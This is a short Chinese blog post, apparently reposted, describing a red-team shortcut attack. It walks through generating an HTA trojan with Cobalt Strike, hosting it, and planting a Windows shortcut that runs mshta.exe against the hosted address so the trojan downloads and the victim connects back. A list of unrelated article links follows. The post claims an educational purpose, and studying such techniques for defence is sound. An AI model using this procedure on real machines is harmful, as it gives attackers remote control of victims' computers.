当前位置: 首页 > news >正文

[红队apt]快捷方式病毒攻击流程

免责声明:本文整理攻击者操作,帮助了解攻击原理,提高防范能力


前言

欢迎来到我的博客

个人主页:北岭敲键盘的荒漠猫-CSDN博客

本文整理攻击者是如何用快捷方式进行攻击的流程

快捷方式攻击原理

快捷方式可以指向执行某个程序。

我们利用快捷方式攻击的原理是让快捷方式启动windows自带的脚本远程访问,下载我们的木马实现攻击。

具体流程:

cs生成一个hta木马,然后给服务器上托管。

之后对方机器上创建一个快捷方式,启动命令访问那个下载地址下载后直接上线。

具体攻击流程

生成hta文件

生成

放到cs上托管

然后运行上他。

之后会给你地址,让你用的时候复制

然后在目标机子上传入这个快捷方式

快捷方式指向地址如下。

C:\Windows\System32\mshta.exe [刚刚的地址]

改个名

还能改图标

点一下

攻击成功!

http://www.lryc.cn/news/458123.html

相关文章:

  • 一个架构师的职业素养:四种常用的权限模型
  • 说起来很简单,做起来很复杂:解密Chat GPT背后的原理与技术
  • tcpdump-arm平台移植
  • LabVIEW中的非阻塞定时器
  • MIDIPLUS 50周年丨中国国际乐器展览会首日盛况
  • 基于springboot的家政服务管理系统(含源码+sql+视频导入教程+文档+PPT)
  • 第十四届单片机嵌入式蓝桥杯
  • Zotero 如何实现数据同步 坚果云
  • 基于Redis实现的延迟队列
  • LINUX——内核移植、内核编译教程
  • 《OpenCV计算机视觉》—— 用于执行图像透视变换的两个关键函数
  • uniapp使用字体图标 ttf svg作为选项图标,还支持变色变图按
  • <Project-6 pdf2tx> Python Flask 应用:图片PDF图书的中文翻译解决方案
  • 10.11Python数学基础-多维随机变量及其分布
  • (四)Mysql 数据库备份恢复全攻略
  • 在MySQL 8.0中,如何更好地管理索引以节省空间和提高查询效率?
  • 图形化编程(013)——“面向鼠标指针”积木块
  • 【Spring】Spring Boot项目创建和目录介绍
  • 第十二章 RabbitMQ之失败消息处理策略
  • 23年408数据结构
  • vue3ElementPlu表格合并多行
  • MySQL数据库 - 索引(上)
  • redis与springBoot整合
  • YoloV9改进策略:BackBone改进|CAFormer在YoloV9中的创新应用,显著提升目标检测性能
  • 消防应急物资仓库管理系统
  • 【论文阅读】Semi-Supervised Few-shot Learning via Multi-Factor Clustering
  • 第十三章 RabbitMQ之消息幂等性
  • tpcms-master.zip
  • Spring国际化和Validation
  • ②EtherCAT转ModbusTCP, EtherCAT/Ethernet/IP/Profinet/ModbusTCP协议互转工业串口网关